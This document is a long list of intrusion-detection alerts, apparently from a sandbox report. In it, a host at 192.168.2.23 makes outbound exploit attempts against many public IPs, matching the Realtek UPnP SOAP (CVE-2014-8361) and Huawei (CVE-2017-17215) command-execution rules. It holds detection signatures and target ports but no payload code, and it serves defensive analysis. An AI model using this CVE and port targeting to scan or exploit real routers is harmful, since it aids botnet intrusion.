ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.83.213.222

Timestamp:	07/20/24-23:01:08.600679
SID:	2027339
Source Port:	45328
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.212.70.208

Timestamp:	07/20/24-23:01:49.040108
SID:	2027339
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 159.73.26.136

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	38244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.103.54.206

Timestamp:	07/20/24-23:01:43.450134
SID:	2027339
Source Port:	50512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.135.178.135

Timestamp:	07/20/24-23:02:13.454278
SID:	2025132
Source Port:	53486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.227.205.159

Timestamp:	07/20/24-23:01:55.076019
SID:	2831300
Source Port:	38152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.18.131.94

Timestamp:	07/20/24-23:01:41.417573
SID:	2027339
Source Port:	42700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 189.208.63.195

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	56588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 60.208.170.61

Timestamp:	07/20/24-23:01:08.667964
SID:	2831300
Source Port:	36898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.127.58

Timestamp:	07/20/24-23:01:06.973541
SID:	2829579
Source Port:	36666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.5.145.232

Timestamp:	07/20/24-23:01:42.062724
SID:	2027339
Source Port:	55200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.238.134.176

Timestamp:	07/20/24-23:01:26.131973
SID:	2027339
Source Port:	39576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.184.58.202

Timestamp:	07/20/24-23:02:02.954311
SID:	2027339
Source Port:	55666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.183.134.67

Timestamp:	07/20/24-23:01:42.425705
SID:	2025132
Source Port:	39430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.92.32.15

Timestamp:	07/20/24-23:01:42.883774
SID:	2025132
Source Port:	50866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.80.122.96

Timestamp:	07/20/24-23:01:45.148866
SID:	2831300
Source Port:	33468
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.216.251.19

Timestamp:	07/20/24-23:01:14.105395
SID:	2829579
Source Port:	41286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.65.214

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	56536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.52.13.24

Timestamp:	07/20/24-23:01:43.906354
SID:	2831300
Source Port:	59750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.7.162.229

Timestamp:	07/20/24-23:00:57.221190
SID:	2829579
Source Port:	42650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.93.60.57

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	33680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.75.166.170

Timestamp:	07/20/24-23:01:41.370646
SID:	2025132
Source Port:	52726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.36.59.232

Timestamp:	07/20/24-23:01:44.411586
SID:	2831300
Source Port:	35022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.234.5.119

Timestamp:	07/20/24-23:01:56.400580
SID:	2831300
Source Port:	57238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.112.61.164

Timestamp:	07/20/24-23:01:46.808111
SID:	2027339
Source Port:	49806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.231.223.193

Timestamp:	07/20/24-23:01:42.761962
SID:	2027339
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.3.232.51

Timestamp:	07/20/24-23:01:47.443306
SID:	2831300
Source Port:	51260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.144.8

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	49544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.216.241.103

Timestamp:	07/20/24-23:01:45.116897
SID:	2027339
Source Port:	38352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.29.32.245

Timestamp:	07/20/24-23:01:49.537827
SID:	2027339
Source Port:	59110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.136.49.118

Timestamp:	07/20/24-23:02:28.464626
SID:	2027339
Source Port:	52100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.237.192.205

Timestamp:	07/20/24-23:01:51.056707
SID:	2027339
Source Port:	42318
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.113.232.226

Timestamp:	07/20/24-23:01:55.928013
SID:	2027339
Source Port:	48608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.178.44.200

Timestamp:	07/20/24-23:01:41.416217
SID:	2025132
Source Port:	43360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 66.34.14.57

Timestamp:	07/20/24-23:01:43.177552
SID:	2025132
Source Port:	48212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.182.169.174

Timestamp:	07/20/24-23:01:44.036421
SID:	2027339
Source Port:	43156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.77.18.239

Timestamp:	07/20/24-23:01:03.936204
SID:	2027339
Source Port:	50724
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.162.26.155

Timestamp:	07/20/24-23:01:14.060998
SID:	2835222
Source Port:	53858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 128.19.87.235

Timestamp:	07/20/24-23:01:27.677519
SID:	2835222
Source Port:	34452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 182.29.32.245

Timestamp:	07/20/24-23:01:46.019511
SID:	2831300
Source Port:	33072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.58.228

Timestamp:	07/20/24-23:01:00.647695
SID:	2835222
Source Port:	33984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.226.115.171

Timestamp:	07/20/24-23:01:40.321965
SID:	2835222
Source Port:	42484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.36.226.221

Timestamp:	07/20/24-23:01:42.699478
SID:	2831300
Source Port:	35692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.64.21.239

Timestamp:	07/20/24-23:01:06.990535
SID:	2829579
Source Port:	37940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.52.107.77

Timestamp:	07/20/24-23:01:11.168553
SID:	2025132
Source Port:	49246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.229.109.170

Timestamp:	07/20/24-23:01:42.262354
SID:	2025132
Source Port:	55938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.160.238.67

Timestamp:	07/20/24-23:01:41.722161
SID:	2027339
Source Port:	51006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.184.30

Timestamp:	07/20/24-23:00:59.153608
SID:	2829579
Source Port:	33028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.22.220.5

Timestamp:	07/20/24-23:01:40.323034
SID:	2829579
Source Port:	35098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.156.14.69

Timestamp:	07/20/24-23:02:00.725615
SID:	2831300
Source Port:	54942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.184.6.19

Timestamp:	07/20/24-23:01:43.209467
SID:	2025132
Source Port:	44154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.65.172.105

Timestamp:	07/20/24-23:01:41.322613
SID:	2027339
Source Port:	38218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.209.84.96

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	45902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.92.250.125

Timestamp:	07/20/24-23:01:01.313651
SID:	2025132
Source Port:	41252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.123.73.220

Timestamp:	07/20/24-23:02:17.231770
SID:	2027339
Source Port:	47788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.100.221.147

Timestamp:	07/20/24-23:01:44.520254
SID:	2027339
Source Port:	48396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.250.126.53

Timestamp:	07/20/24-23:01:56.315740
SID:	2027339
Source Port:	50866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.69.175.230

Timestamp:	07/20/24-23:01:08.584507
SID:	2027339
Source Port:	41676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.149.101.121

Timestamp:	07/20/24-23:01:41.604763
SID:	2831300
Source Port:	38956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.65.211.106

Timestamp:	07/20/24-23:01:58.880225
SID:	2027339
Source Port:	48754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.80.243.157

Timestamp:	07/20/24-23:01:44.756264
SID:	2027339
Source Port:	49984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.86.136.162

Timestamp:	07/20/24-23:01:08.650213
SID:	2831300
Source Port:	51888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.2.152.124

Timestamp:	07/20/24-23:01:43.890780
SID:	2027339
Source Port:	48176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.237.109.125

Timestamp:	07/20/24-23:01:45.196200
SID:	2027339
Source Port:	56512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.129.59

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	50580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.43.74.118

Timestamp:	07/20/24-23:01:31.314906
SID:	2831300
Source Port:	46844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.107.137.70

Timestamp:	07/20/24-23:01:53.085271
SID:	2025132
Source Port:	48530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.87.118

Timestamp:	07/20/24-23:01:03.143706
SID:	2027339
Source Port:	38728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.74.14.28

Timestamp:	07/20/24-23:01:20.600303
SID:	2831300
Source Port:	42888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.20.148.220

Timestamp:	07/20/24-23:02:08.084136
SID:	2027339
Source Port:	57298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.112.123.1

Timestamp:	07/20/24-23:01:00.645186
SID:	2829579
Source Port:	42260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.86.228.100

Timestamp:	07/20/24-23:01:41.956473
SID:	2027339
Source Port:	42896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.231.201.227

Timestamp:	07/20/24-23:02:14.728323
SID:	2027339
Source Port:	48490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.38.7.5

Timestamp:	07/20/24-23:01:31.331748
SID:	2831300
Source Port:	53304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 140.34.44.126

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	59906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 1.38.182.72

Timestamp:	07/20/24-23:01:27.653309
SID:	2829579
Source Port:	51724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 106.204.29.126

Timestamp:	07/20/24-23:01:42.670071
SID:	2025132
Source Port:	35132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.15.191.58

Timestamp:	07/20/24-23:01:44.446628
SID:	2831300
Source Port:	59160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.124.14.171

Timestamp:	07/20/24-23:00:59.153608
SID:	2829579
Source Port:	49226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.78.46.190

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	55632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.86.220.196

Timestamp:	07/20/24-23:01:53.354788
SID:	2831300
Source Port:	32794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.136.40.221

Timestamp:	07/20/24-23:01:43.013771
SID:	2025132
Source Port:	49614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.208.105

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	41862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 110.158.170.123

Timestamp:	07/20/24-23:01:48.221889
SID:	2025132
Source Port:	41782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.59.211

Timestamp:	07/20/24-23:01:04.082384
SID:	2835222
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	07/20/24-23:01:09.021221
SID:	2831300
Source Port:	47164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.22.235

Timestamp:	07/20/24-23:01:40.279669
SID:	2829579
Source Port:	56928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.163.143.195

Timestamp:	07/20/24-23:01:44.059102
SID:	2025132
Source Port:	44128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.128.116

Timestamp:	07/20/24-23:01:24.943244
SID:	2829579
Source Port:	42238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.3.243.177

Timestamp:	07/20/24-23:01:42.434719
SID:	2027339
Source Port:	45008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.215.198.66

Timestamp:	07/20/24-23:01:43.874054
SID:	2027339
Source Port:	35300
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.178.20.121

Timestamp:	07/20/24-23:01:48.118060
SID:	2025132
Source Port:	49534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.80.86.165

Timestamp:	07/20/24-23:00:57.220937
SID:	2835222
Source Port:	54222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.6.221.99

Timestamp:	07/20/24-23:00:57.221727
SID:	2835222
Source Port:	55506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.33.175.78

Timestamp:	07/20/24-23:01:49.775041
SID:	2027339
Source Port:	48102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.137.214.123

Timestamp:	07/20/24-23:01:04.601975
SID:	2027339
Source Port:	47382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.62.22

Timestamp:	07/20/24-23:01:24.886284
SID:	2835222
Source Port:	56316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.5.145.232

Timestamp:	07/20/24-23:01:42.485253
SID:	2025132
Source Port:	54546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.176.94.191

Timestamp:	07/20/24-23:01:41.290518
SID:	2025132
Source Port:	39402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

